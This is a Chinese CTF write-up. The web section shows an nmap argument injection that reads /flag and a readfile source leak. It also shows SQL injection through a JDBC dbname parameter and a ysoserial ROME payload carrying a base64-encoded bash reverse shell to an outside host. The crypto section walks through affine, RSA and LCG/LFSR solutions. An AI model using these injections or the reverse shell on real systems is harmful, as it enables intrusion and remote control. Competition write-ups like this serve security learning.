Web
nmap
可以扫描ip,尝试命令注入未果,应该是调用了nmap进行扫描。
nmap可以读取文件中的内容进行扫描,flag肯定是非法ip,nmap输出会把内容报错出来,利用这个特点,把结果输出到web目录下的文件。
1 | ' -iL /flag -oN /var/www/html/abc.txt ' |
访问abc.txt。
phpweb
传入的p与func是 $func($p) 形式执行,可以读到源码:
1 | func=readfile&p=index.php |
源码:
1 |
|
ban了执行代码之类的函数,gettime 有个 call_user_func,还有个类,想到可以反序列化。
1 |
|
读取flag。
think java
这个题比赛做了一半,在buuoj复现的。
扫了一波目录,发现了swagger-ui.html,看到了三个api:
sqlDict传入一个dbname。
给了部分class,拖到jdgui分析,jdbc连接数据库:
1 | public class SqlDict { |
其中,test 接口可以传入 dbName,拼接到连接,想到了jdbc反序列化,往下看。
1 | public static List<Table> getTableData(String dbName, String user, String pass) { |
有注入的样子,把dbname拼接到了语句里。
应该是注入出用户名密码,然后登陆,登陆后面还有题。
但是我们传入的 dbname需要正确连接,同时还要注入,可以用#截断使jdbc正常连接,然后注入payload放到后面。
可以注入出用户名和密码:
用户名是 admin,密码是admin@Rrrr_ctf_asde。
登陆,发现给了个token。
Bearer后面部分明显是序列化数据的base64编码,还有个current接口,我们把token post过去,发现校验成功。
思路很清晰了,current会反序列化我们传入的数据,我们需要 getshell,但是没有gadget。。。
比赛的时候卡在了这里。。。本来这个题放出来一阵子都只有3个队做出来,后来突然就几十支了,佛了。
赛后问了一波,貌似是用ysoserial挨个exp打?
ysoserial 是个集成了java反序列化exp的工具,github在这里:https://github.com/frohoff/ysoserial。
这个题是用 ROME 打的,首先下载ysoserial文件,因为java 反弹shell容易出问题,找了个在线网站改一下payload:http://www.jackson-t.ca/runtime-exec-payloads.html
1 | java -jar ysoserial-master-SNAPSHOT.jar ROME 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82MTc4LTg5N2VhMDQwLTU2YzAtNDg2NC04NWM1LWE4YWY4ZmJjMmY4ZS82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}' | base64 |
把生成的base64,current接口发过去(记得前面加Bearer。。因为没加Bearer找了半天问题orz)
可以弹到shell:
顺便说一句,如果打不成,可以试着先用ysoserial的URLDNS模块测试反序列化是否可以用,先把URLDNS打成。
Crypto
Simple
仿射密码。
1 | import string |
RUA
三组n与c,没有e,n都很大,相互互素。
考虑中国剩余定理,然后开三次方,开不出来。N有大约6000多bit,爆破e开方,发现是17次方。
1 | # -*- coding: utf-8 -*- |
guess_game
需要解出前面的方程,得到第7个d,才可以有得到后面10个输出的机会。
1 | a = getPrime(64) |
给了前六个d,需要求出第七个d。解方程比较麻烦在于b是模数并且未知。
参考https://math.stackexchange.com/questions/1861606/solving-linear-congruences-with-unknown-modulus。
我们目前拥有5个方程:
1 | x1*a + c = x2 mod b |
大致思路就是通过等式相减,得到一些 x*a=y mod b的方程,然后挑两个互素的x作为基底,通过这两个式子构造出 a=m mod b,再任意挑选一 x0*a=y0 mod b,得到:
1 | m*x0=y0 mod b |
得到 b|(m*x2-y2),再分解b,找出其中的64bit的素数,就还原了b。还原b后a和c就好算了。
然后有十次机会猜数,game其实是个39bit的lfsr,初态与key未知,需要78bit还原,正常情况下得到78bit需要十个数,但是十个数错误后直接退出了,所以需要猜十次的过程中,猜对一个。(写个循环爆破)
概率是 1-(255/256)^10
,大约是 3%。
猜对后,可以根据78bit还原初态与key,和去年de1ctf的思路一样,解方程组就好了,高斯消元法,可以参考http://igml.top/2019/08/04/2019-de1ctf/#babylfsr
脚本:
1 | # -*- coding: utf-8 -*- |
跑了很多次,结果: